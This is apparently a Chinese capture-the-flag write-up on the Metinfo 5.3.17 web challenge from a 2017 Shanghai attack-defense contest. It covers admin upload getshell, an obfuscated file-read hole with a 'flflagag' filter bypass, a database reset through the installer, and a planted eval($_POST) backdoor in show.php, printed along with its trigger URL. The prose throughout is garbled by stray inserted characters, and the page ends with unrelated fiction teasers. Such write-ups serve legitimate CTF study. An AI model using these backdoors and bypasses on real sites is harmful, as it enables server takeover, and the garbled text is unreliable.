2017上海賽線下攻防Web題分析

0x00 前言

首先會(huì)回過(guò)頭來(lái)重新分析一次這道web題主要是因?yàn)樯洗尉€下的時(shí)候全場(chǎng)一直在打了一個(gè)洞瞻坝,最后成信的師傅用重置數(shù)據(jù)庫(kù)方法妇垢,從后臺(tái)getshell一路追分驳概,這里先膜一發(fā)贩虾。這次web題的框架是Metinfo 5.3.17的杆麸。

0x01 后臺(tái)getshell

這個(gè)洞也可以說(shuō)是坑了一波,以前都調(diào)過(guò)Metinfo的后臺(tái)恢復(fù)數(shù)據(jù)庫(kù)文件getshell浪感,在:安全—>備份與恢復(fù) 中通過(guò)上傳數(shù)據(jù)庫(kù)備份.zip文件getshell昔头,這里主要是因?yàn)?admin\include\uploadify.php

elseif($type=='skin'){
/*模板文件*/
$filetype=explode('.',$_FILES['Filedata']['name']);
if($filetype[count($filetype)-1]=='zip'){
if(stristr($met_file_format,'zip') === false){
echo $lang_jsx36;
die();
}
//if(!is_writable('../../templates/'))@chmod('../../templates/',0777);
$filenamearray=explode('.zip',$_FILES['Filedata']['name']);
$skin_if=$db->get_one("SELECT * FROM {$met_skin_table} WHERE skin_file='{$filenamearray[0]}'");
if($skin_if){
$metinfo=$lang_loginSkin;
}else{
$f = new upfile('zip','../../templates/','','');
if($f->get_error()){
echo $f->get_errorcode();
die();
}
if(file_exists('../../templates/'.$filenamearray[0].'.zip'))$filenamearray[0]='metinfo'.$filenamearray[0];
$met_upsql = $f->upload('Filedata',$filenamearray[0]);
include "pclzip.lib.php";
$archive = new PclZip('../../templates/'.$filenamearray[0].'.zip');
if($archive->extract(PCLZIP_OPT_PATH, '../../templates/') == 0)$metinfo=$archive->errorInfo(true);
$list = $archive->listContent();
$error=0;
foreach($list as $key=>$val){
if(preg_match("/\.(asp|aspx|jsp)/i",$val[filename])){
$error=1;
}
if(!is_dir('../../templates/'.$val[filename])&&preg_match("/\.(php)/i",$val[filename])){
$danger=explode('|','preg_replace|assert|dirname|file_exists|file_get_contents|file_put_contents|fopen|mkdir|unlink|readfile|eval|cmd|passthru|system|gzuncompress|exec|shell_exec|fsockopen|pfsockopen|proc_open|scandir');
$ban='preg_replace|assert|eval|\$_POST|\$_GET';
foreach($danger as $key1 => $val1){
$str=file_get_contents('../../templates/'.$val[filename]);
$str=str_replace(array('\'','"','.'),'',$str);
if(preg_match("/([^A-Za-z0-9_]$val1)[\r\n\t]{0,}([\[\(])/i",$str)){
$error=1;
}
if(preg_match('/('.$ban.')/i',$str)){
$error=1;
}

}
}
}
@unlink('../../templates/'.$filenamearray[0].'.zip');
if($error){
foreach($list as $key=>$val){
if(is_dir('../../templates/'.$val[filename])){
@deldir('../../templates/'.$val[filename]);
}else{
@unlink('../../templates/'.$val[filename]);
}
}
$metinfo='含有危險(xiǎn)函數(shù),禁止上傳S笆蕖揭斧!';
}else{
$metinfo='1$'.$filenamearray[0];
}
}

上傳的.zip文件會(huì)自動(dòng)解壓,上傳成功后在/templates目錄下生成shell峻堰,由于本次源碼被調(diào)整過(guò)讹开,在恢復(fù)備份文件處有一個(gè)資源調(diào)用的問(wèn)題,導(dǎo)致打開(kāi)的時(shí)候特別慢捐名,可以說(shuō)沒(méi)法利用吧旦万,而這次主要是利用另一個(gè)上傳點(diǎn),直接通過(guò)修改上傳文件類(lèi)型來(lái)上傳.php文件:安全->安全與效率->上傳文件


文件上傳.png

這種getshell的方法不要智商的镶蹋,所以就不多說(shuō)了成艘。

0x02 混淆源碼命令執(zhí)行

利用點(diǎn):produ/picture.inc.php文件赏半,源碼進(jìn)行混淆過(guò),所以挖掘的時(shí)候必須首先解混淆淆两,這里我是直接上網(wǎng)進(jìn)行源碼修復(fù)的断箫,修復(fù)出來(lái)簡(jiǎn)單修改一下變量也基本就能看懂。

<?php
# MetInfo Enterprise Content Management System 
# Copyright (C) MetInfo Co.,Ltd (http:
$b=@$_GET[$GLOBALS['OOO0000O0']('Y2hlYw==')];
if ($b!="") 
{
    $a = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSUkx')](md5($b),0,9);
    $c = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSUkx')](md5($a),5,18);
    $c = md5($c);
    echo $c;
    exit();
}
$d = @$_GET[$GLOBALS['OOO0000O0']('img_tet')];
$d = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWwx')]($d);
$d = str_replace( $GLOBALS['OOO0000O0']('flag'),"",$d);
if ($d!="") 
{
    $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFJ')]($GLOBALS['OOO0000O0']('Content-Type: imgage/jpeg'));
    $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFJ')]($GLOBALS['OOO0000O0']('Content-Disposition: attachment; filename=').$d);
    $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFJ')]($GLOBALS['OOO0000O0']('Content-Lengh: ').$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFs')]($d));
    $e = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbElJ')]($d,"r") or die("Unable to open file!");
    $f = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbEkx')]($e,$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFs')]($d));
    $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbGxJ')]($e);
    echo $f;
}
;
echo $GLOBALS['OOO0000O0']('Cg==');
?>

也就是Get一個(gè)參數(shù)img_tet,檢測(cè)傳參內(nèi)容是否有flag秋冰,有的話(huà)就替換為空格所以直接利用:cat /flflagag就可以繞過(guò)檢測(cè)仲义,這也是全場(chǎng)一次在打的一個(gè)洞。下面也貼出其他師傅解混淆的方法剑勾,建一個(gè)php文件

<?php
include('picture.inc.php');
var_dump(get_defined_vars());
?>

調(diào)用函數(shù)var_dump(get_defined_vars())進(jìn)行反混淆埃撵,本地運(yùn)行可以得到一樣的源碼。
反混淆.png

這里直接貼出BXS師傅完全修復(fù)的源碼:
完全修復(fù)后.jpg

0x03 重置數(shù)據(jù)庫(kù)

利用安裝框架的配置文件甥材,重置數(shù)據(jù)庫(kù)這個(gè)也是迷盯另,不過(guò)利用起來(lái)也是沒(méi)有難度的,主要就看能不能找到這個(gè)頁(yè)面了洲赵,估計(jì)是主辦方故意留下這個(gè)頁(yè)面的鸳惯,利用方法,直接訪問(wèn) \include\frame 目錄下 index.php叠萍,直接就進(jìn)入了配置頁(yè)面


重置.png

跟著走一遍芝发,重置一下網(wǎng)站,然后跳第一步Getshell就好苛谷。

0x04 主辦方設(shè)置的后門(mén)利用

對(duì)于這個(gè)后門(mén)辅鲸,調(diào)試也是到了比賽結(jié)束后,about/show.php 30腹殿、31行

$show_tiny=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJpY3FjdGZlciJdKTs='));
$show_tiny();

解base64后得到的是一個(gè)自帶后門(mén):@eval($_POST["icqctfer"]);
當(dāng)時(shí)在現(xiàn)場(chǎng)的時(shí)候看到這個(gè)就直接在show.php后用POST傳參icqctfer=********独悴,沒(méi)有得到任何想要的結(jié)果,當(dāng)時(shí)還以為大家都補(bǔ)了锣尉,沒(méi)有注意到源碼中還有限制條件刻炒,主要是在show.php中的

if(!$id && $class1)$id = $class1;
if(!is_numeric($id))okinfo('../404.html');
$show = $db->get_one("SELECT * FROM $met_column WHERE id='$id' and module=1");
if(!$show||!$show['isshow']){
okinfo('../404.html');
}

is_numeric()函數(shù)要求變量id要是數(shù)字,這個(gè)地方比較好過(guò)自沧,由于對(duì)$id沒(méi)有做任何限制的坟奥,我們可以在本地調(diào)試測(cè)試,把變量id覆蓋就好了拇厢,不過(guò)后面的查詢(xún)語(yǔ)句也要求了id值得賦成1爱谁,payload:http://127.0.0.1/CTF/shanghai/default/about/show.php?id=1
之后主要是$show變量的問(wèn)題, $db->get_one("SELECT * FROM $met_column WHERE id='$id' and module=1")將表met_column的第一行信息以數(shù)組的方式賦值給變量show孝偎,本地查看數(shù)據(jù)庫(kù)

met_column.png

其中isshow列默認(rèn)值為 0
isshow.png

而要過(guò)條件if(!$show||!$show['isshow'])只有當(dāng)$show = 1或者$show['isshow'] = 1访敌,而從數(shù)據(jù)庫(kù)中看來(lái)使得$show = 1是不可能的,我們沒(méi)法把對(duì)方的數(shù)據(jù)庫(kù)id = 1的所有信息都置1衣盾,所以只有將$show['isshow']置 1 捐顷。而要將變量$show['isshow']置 1荡陷,需要進(jìn)入Metinfo后臺(tái):設(shè)置->欄目 中修改about的參數(shù),將 添加內(nèi)容 段改成允許迅涮,就可以將isshow置為1,從而通過(guò)條件废赞,就可以利用icqctfer了。
后門(mén)利用.png

那么問(wèn)題來(lái)了叮姑,要想進(jìn)后臺(tái)修改配置利用這個(gè)后門(mén)唉地,除非一上手在別人沒(méi)改密碼之前進(jìn)入別人后臺(tái)修改,等大家都把后臺(tái)密碼改了传透,也就只有通過(guò)重置數(shù)據(jù)庫(kù)的方法進(jìn)入后臺(tái)耘沼,既然后重置數(shù)據(jù)庫(kù)進(jìn)入后臺(tái)了,還不如上傳木馬來(lái)打朱盐,所以這個(gè)后門(mén)看似簡(jiǎn)單群嗤,其實(shí)用起來(lái)太麻煩,價(jià)值也不高兵琳。

0x04 結(jié)語(yǔ)

本菜因才疏學(xué)淺狂秘,只挖到了部分的洞,因?yàn)樯洗卧趫?chǎng)上的時(shí)候有師傅直接把網(wǎng)站頁(yè)面給改寫(xiě)了躯肌,說(shuō)明還有其他的利用點(diǎn)者春,這里膜一下,本文章只用來(lái)學(xué)習(xí)記錄清女。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末钱烟,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子嫡丙,更是在濱河造成了極大的恐慌拴袭,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,755評(píng)論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件曙博,死亡現(xiàn)場(chǎng)離奇詭異拥刻,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)羊瘩,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,305評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)盼砍,“玉大人尘吗,你說(shuō)我怎么就攤上這事〗阶” “怎么了睬捶?”我有些...
    開(kāi)封第一講書(shū)人閱讀 165,138評(píng)論 0 355
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)近刘。 經(jīng)常有香客問(wèn)我擒贸,道長(zhǎng)臀晃,這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,791評(píng)論 1 295
  • 正文 為了忘掉前任介劫,我火速辦了婚禮徽惋,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘座韵。我一直安慰自己险绘,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,794評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布誉碴。 她就那樣靜靜地躺著宦棺,像睡著了一般。 火紅的嫁衣襯著肌膚如雪黔帕。 梳的紋絲不亂的頭發(fā)上代咸,一...
    開(kāi)封第一講書(shū)人閱讀 51,631評(píng)論 1 305
  • 那天,我揣著相機(jī)與錄音成黄,去河邊找鬼呐芥。 笑死,一個(gè)胖子當(dāng)著我的面吹牛慨默,可吹牛的內(nèi)容都是我干的贩耐。 我是一名探鬼主播,決...
    沈念sama閱讀 40,362評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼厦取,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼潮太!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起虾攻,我...
    開(kāi)封第一講書(shū)人閱讀 39,264評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤铡买,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后霎箍,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體奇钞,經(jīng)...
    沈念sama閱讀 45,724評(píng)論 1 315
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,900評(píng)論 3 336
  • 正文 我和宋清朗相戀三年漂坏,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了景埃。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,040評(píng)論 1 350
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡顶别,死狀恐怖谷徙,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情驯绎,我是刑警寧澤完慧,帶...
    沈念sama閱讀 35,742評(píng)論 5 346
  • 正文 年R本政府宣布,位于F島的核電站剩失,受9級(jí)特大地震影響屈尼,放射性物質(zhì)發(fā)生泄漏册着。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,364評(píng)論 3 330
  • 文/蒙蒙 一脾歧、第九天 我趴在偏房一處隱蔽的房頂上張望甲捏。 院中可真熱鬧,春花似錦涨椒、人聲如沸摊鸡。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,944評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)免猾。三九已至,卻和暖如春囤热,著一層夾襖步出監(jiān)牢的瞬間猎提,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,060評(píng)論 1 270
  • 我被黑心中介騙來(lái)泰國(guó)打工旁蔼, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留锨苏,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,247評(píng)論 3 371
  • 正文 我出身青樓棺聊,卻偏偏與公主長(zhǎng)得像伞租,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子限佩,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,979評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容